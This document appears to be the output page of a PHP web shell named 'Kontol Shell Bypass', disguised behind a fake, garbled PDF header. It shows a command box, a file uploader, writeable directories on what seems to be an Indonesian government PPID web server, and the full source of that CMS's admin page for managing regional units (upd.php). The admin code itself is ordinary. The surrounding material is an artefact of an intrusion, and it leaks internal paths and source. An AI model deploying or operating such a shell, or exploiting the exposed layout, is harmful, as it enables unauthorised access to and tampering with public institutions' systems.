%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/new-ppid-app/admin/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/new-ppid-app/admin/upd.php
<?php
/**
 * Admin (superadmin): kelola Unit Perangkat Daerah (UPD / OPD).
 */
require_once dirname(__DIR__) . '/config/config.php';
require_once dirname(__DIR__) . '/includes/auth.php';
require_once dirname(__DIR__) . '/includes/queries.php';
require_superadmin();

$errors = [];
$form = ['id' => 0, 'nama' => '', 'singkatan' => '', 'deskripsi' => '', 'penanggung_jawab' => '', 'alamat' => '', 'telepon' => '', 'email' => '', 'website' => '', 'urutan' => 0];

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    csrf_verify();
    $action = post_param('action');

    if ($action === 'delete') {
        $id = (int) post_param('id');
        $dipakai = (int) (function () use ($id) {
            $s = db()->prepare('SELECT COUNT(*) FROM admin_users WHERE upd_id = ?');
            $s->execute([$id]);
            return $s->fetchColumn();
        })();
        if ($dipakai > 0) {
            set_flash('error', 'UPD tidak dapat dihapus karena masih dipakai oleh ' . $dipakai . ' akun user. Pindahkan/ubah user tersebut dahulu.');
        } else {
            db()->prepare('DELETE FROM upd WHERE id = ?')->execute([$id]);
            set_flash('success', 'Unit Perangkat Daerah berhasil dihapus.');
        }
        redirect('admin/upd.php');
    }

    // Simpan (tambah / ubah).
    $form = [
        'id'               => (int) post_param('id'),
        'nama'             => post_param('nama'),
        'singkatan'        => post_param('singkatan'),
        'deskripsi'        => post_param('deskripsi'),
        'penanggung_jawab' => post_param('penanggung_jawab'),
        'alamat'           => post_param('alamat'),
        'telepon'          => post_param('telepon'),
        'email'            => post_param('email'),
        'website'          => post_param('website'),
        'urutan'           => (int) post_param('urutan'),
    ];
    if ($form['nama'] === '') {
        $errors['nama'] = 'Nama UPD wajib diisi.';
    }
    if ($form['email'] !== '' && !is_valid_email($form['email'])) {
        $errors['email'] = 'Email tidak valid.';
    }

    if (empty($errors)) {
        // Slug unik dari singkatan/nama.
        $base = slugify($form['singkatan'] !== '' ? $form['singkatan'] : $form['nama']);
        $slug = $base;
        $i = 2;
        while (true) {
            $chk = db()->prepare('SELECT COUNT(*) FROM upd WHERE slug = ? AND id <> ?');
            $chk->execute([$slug, $form['id']]);
            if ((int) $chk->fetchColumn() === 0) {
                break;
            }
            $slug = $base . '-' . $i++;
        }

        if ($form['id'] > 0) {
            db()->prepare('UPDATE upd SET nama=?, singkatan=?, slug=?, deskripsi=?, penanggung_jawab=?, alamat=?, telepon=?, email=?, website=?, urutan=? WHERE id=?')
                ->execute([$form['nama'], $form['singkatan'], $slug, $form['deskripsi'], $form['penanggung_jawab'], $form['alamat'], $form['telepon'], $form['email'], $form['website'], $form['urutan'], $form['id']]);
            set_flash('success', 'UPD berhasil diperbarui.');
        } else {
            db()->prepare('INSERT INTO upd (nama, singkatan, slug, deskripsi, penanggung_jawab, alamat, telepon, email, website, urutan) VALUES (?,?,?,?,?,?,?,?,?,?)')
                ->execute([$form['nama'], $form['singkatan'], $slug, $form['deskripsi'], $form['penanggung_jawab'], $form['alamat'], $form['telepon'], $form['email'], $form['website'], $form['urutan']]);
            set_flash('success', 'UPD baru berhasil ditambahkan.');
        }
        redirect('admin/upd.php');
    }
}

// Mode edit via query string.
$editId = (int) get_param('edit');
if ($editId > 0 && empty($errors)) {
    $u = get_upd($editId);
    if ($u) {
        $form = [
            'id' => (int) $u['id'], 'nama' => $u['nama'], 'singkatan' => $u['singkatan'], 'deskripsi' => $u['deskripsi'],
            'penanggung_jawab' => $u['penanggung_jawab'] ?? '', 'alamat' => $u['alamat'] ?? '', 'telepon' => $u['telepon'] ?? '',
            'email' => $u['email'] ?? '', 'website' => $u['website'] ?? '', 'urutan' => (int) $u['urutan'],
        ];
    }
}

// Daftar UPD beserta jumlah dokumen & user.
$rows = db()->query(
    "SELECT u.*,
            (SELECT COUNT(*) FROM dokumen_informasi d WHERE d.upd_id = u.id) AS jml_dok,
            (SELECT COUNT(*) FROM admin_users a WHERE a.upd_id = u.id) AS jml_user
     FROM upd u ORDER BY u.urutan ASC, u.nama ASC"
)->fetchAll();

$isEdit = $form['id'] > 0;
$pageTitle  = 'Unit Perangkat Daerah — CMS PPID';
$activeMenu = 'upd';
require __DIR__ . '/partials/head.php';
$val = static fn (string $k) => e((string) ($form[$k] ?? ''));
?>

<div class="mb-6">
    <h2 class="text-2xl font-bold text-slate-900">Unit Perangkat Daerah</h2>
    <p class="text-sm text-slate-500 mt-1">Kelola daftar UPD/OPD pemilik PPID Pembantu.</p>
</div>

<div class="grid grid-cols-1 lg:grid-cols-3 gap-6">
    <!-- Form tambah/edit -->
    <div class="lg:col-span-1">
        <div class="bg-white border <?= $isEdit ? 'border-mateng-blue/40' : 'border-slate-100' ?> rounded-xl shadow-sm p-6 sticky top-6">
            <h3 class="font-bold text-slate-800 mb-4 flex items-center gap-2">
                <i class="fas <?= $isEdit ? 'fa-pen' : 'fa-plus' ?> text-mateng-blue"></i> <?= $isEdit ? 'Edit UPD' : 'Tambah UPD' ?>
            </h3>
            <form method="post" class="space-y-4">
                <?= csrf_field() ?>
                <input type="hidden" name="action" value="save">
                <input type="hidden" name="id" value="<?= (int) $form['id'] ?>">
                <div>
                    <label class="block text-sm font-medium text-slate-700 mb-1.5">Nama UPD <span class="text-red-500">*</span></label>
                    <input type="text" name="nama" value="<?= $val('nama') ?>" placeholder="Dinas ..." class="w-full rounded-lg border px-3 py-2.5 outline-none focus:ring-4 <?= isset($errors['nama']) ? 'border-red-300 focus:ring-red-100' : 'border-slate-300 focus:border-mateng-green focus:ring-green-100' ?>">
                    <?php if (isset($errors['nama'])): ?><p class="text-xs text-red-500 mt-1"><?= e($errors['nama']) ?></p><?php endif; ?>
                </div>
                <div>
                    <label class="block text-sm font-medium text-slate-700 mb-1.5">Singkatan</label>
                    <input type="text" name="singkatan" value="<?= $val('singkatan') ?>" placeholder="mis. PUPR" class="w-full rounded-lg border border-slate-300 px-3 py-2.5 outline-none focus:border-mateng-green focus:ring-4 focus:ring-green-100">
                </div>
                <div>
                    <label class="block text-sm font-medium text-slate-700 mb-1.5">Deskripsi</label>
                    <textarea name="deskripsi" rows="2" class="w-full rounded-lg border border-slate-300 px-3 py-2.5 outline-none focus:border-mateng-green focus:ring-4 focus:ring-green-100"><?= $val('deskripsi') ?></textarea>
                </div>

                <div class="pt-2 border-t border-slate-100">
                    <p class="text-xs font-semibold text-slate-500 uppercase tracking-wider mb-3 mt-2">Kontak PPID Pembantu</p>
                    <div class="space-y-3">
                        <div>
                            <label class="block text-sm font-medium text-slate-700 mb-1.5">Penanggung Jawab</label>
                            <input type="text" name="penanggung_jawab" value="<?= $val('penanggung_jawab') ?>" placeholder="mis. Sekretaris Dinas" class="w-full rounded-lg border border-slate-300 px-3 py-2.5 outline-none focus:border-mateng-green focus:ring-4 focus:ring-green-100">
                        </div>
                        <div>
                            <label class="block text-sm font-medium text-slate-700 mb-1.5">Alamat</label>
                            <input type="text" name="alamat" value="<?= $val('alamat') ?>" class="w-full rounded-lg border border-slate-300 px-3 py-2.5 outline-none focus:border-mateng-green focus:ring-4 focus:ring-green-100">
                        </div>
                        <div class="grid grid-cols-2 gap-3">
                            <div>
                                <label class="block text-sm font-medium text-slate-700 mb-1.5">Telepon</label>
                                <input type="text" name="telepon" value="<?= $val('telepon') ?>" class="w-full rounded-lg border border-slate-300 px-3 py-2.5 outline-none focus:border-mateng-green focus:ring-4 focus:ring-green-100">
                            </div>
                            <div>
                                <label class="block text-sm font-medium text-slate-700 mb-1.5">Email</label>
                                <input type="email" name="email" value="<?= $val('email') ?>" class="w-full rounded-lg border px-3 py-2.5 outline-none focus:ring-4 <?= isset($errors['email']) ? 'border-red-300 focus:ring-red-100' : 'border-slate-300 focus:border-mateng-green focus:ring-green-100' ?>">
                                <?php if (isset($errors['email'])): ?><p class="text-xs text-red-500 mt-1"><?= e($errors['email']) ?></p><?php endif; ?>
                            </div>
                        </div>
                        <div>
                            <label class="block text-sm font-medium text-slate-700 mb-1.5">Website</label>
                            <input type="text" name="website" value="<?= $val('website') ?>" placeholder="https://..." class="w-full rounded-lg border border-slate-300 px-3 py-2.5 outline-none focus:border-mateng-green focus:ring-4 focus:ring-green-100">
                        </div>
                    </div>
                </div>

                <div>
                    <label class="block text-sm font-medium text-slate-700 mb-1.5">Urutan</label>
                    <input type="number" name="urutan" value="<?= $val('urutan') ?>" class="w-full rounded-lg border border-slate-300 px-3 py-2.5 outline-none focus:border-mateng-green focus:ring-4 focus:ring-green-100">
                </div>
                <div class="flex gap-2 pt-1">
                    <button type="submit" class="bg-mateng-green hover:bg-green-700 text-white font-semibold px-5 py-2.5 rounded-lg transition-colors flex items-center gap-2"><i class="fas fa-save"></i> <?= $isEdit ? 'Perbarui' : 'Simpan' ?></button>
                    <?php if ($isEdit): ?><a href="<?= e(url('admin/upd.php')) ?>" class="bg-slate-100 hover:bg-slate-200 text-slate-700 font-semibold px-5 py-2.5 rounded-lg transition-colors">Batal</a><?php endif; ?>
                </div>
            </form>
        </div>
    </div>

    <!-- Daftar UPD -->
    <div class="lg:col-span-2">
        <div class="bg-white border border-slate-100 rounded-xl shadow-sm overflow-hidden">
            <div class="overflow-x-auto">
                <table class="w-full text-left border-collapse">
                    <thead>
                        <tr class="bg-slate-50 text-slate-500 text-xs uppercase tracking-wider">
                            <th class="px-5 py-4 font-semibold">Unit Perangkat Daerah</th>
                            <th class="px-5 py-4 font-semibold text-center">Dokumen</th>
                            <th class="px-5 py-4 font-semibold text-center">User</th>
                            <th class="px-5 py-4 font-semibold text-center">Aksi</th>
                        </tr>
                    </thead>
                    <tbody class="text-sm divide-y divide-slate-100 text-slate-700">
                        <?php foreach ($rows as $r): ?>
                            <tr class="hover:bg-slate-50/50">
                                <td class="px-5 py-3.5">
                                    <div class="font-medium text-slate-800"><?= e($r['nama']) ?></div>
                                    <?php if ($r['singkatan']): ?><div class="text-xs text-slate-400"><?= e($r['singkatan']) ?></div><?php endif; ?>
                                </td>
                                <td class="px-5 py-3.5 text-center"><?= (int) $r['jml_dok'] ?></td>
                                <td class="px-5 py-3.5 text-center"><?= (int) $r['jml_user'] ?></td>
                                <td class="px-5 py-3.5">
                                    <div class="flex items-center justify-center gap-1">
                                        <a href="<?= e(url('admin/dokumen.php?upd=' . $r['id'])) ?>" class="p-2 text-slate-400 hover:bg-slate-100 hover:text-slate-700 rounded-lg" title="Lihat dokumen"><i class="fas fa-folder-open"></i></a>
                                        <a href="<?= e(url('admin/upd.php?edit=' . $r['id'])) ?>" class="p-2 text-mateng-blue hover:bg-blue-50 rounded-lg" title="Edit"><i class="fas fa-pen"></i></a>
                                        <form method="post" class="inline" onsubmit="return confirm('Hapus UPD ini? Dokumen terkait akan menjadi milik PPID Utama.');">
                                            <?= csrf_field() ?>
                                            <input type="hidden" name="action" value="delete">
                                            <input type="hidden" name="id" value="<?= (int) $r['id'] ?>">
                                            <button type="submit" class="p-2 text-red-500 hover:bg-red-50 rounded-lg" title="Hapus"><i class="fas fa-trash"></i></button>
                                        </form>
                                    </div>
                                </td>
                            </tr>
                        <?php endforeach; ?>
                    </tbody>
                </table>
            </div>
        </div>
    </div>
</div>

<?php require __DIR__ . '/partials/foot.php'; ?>

Kontol Shell Bypass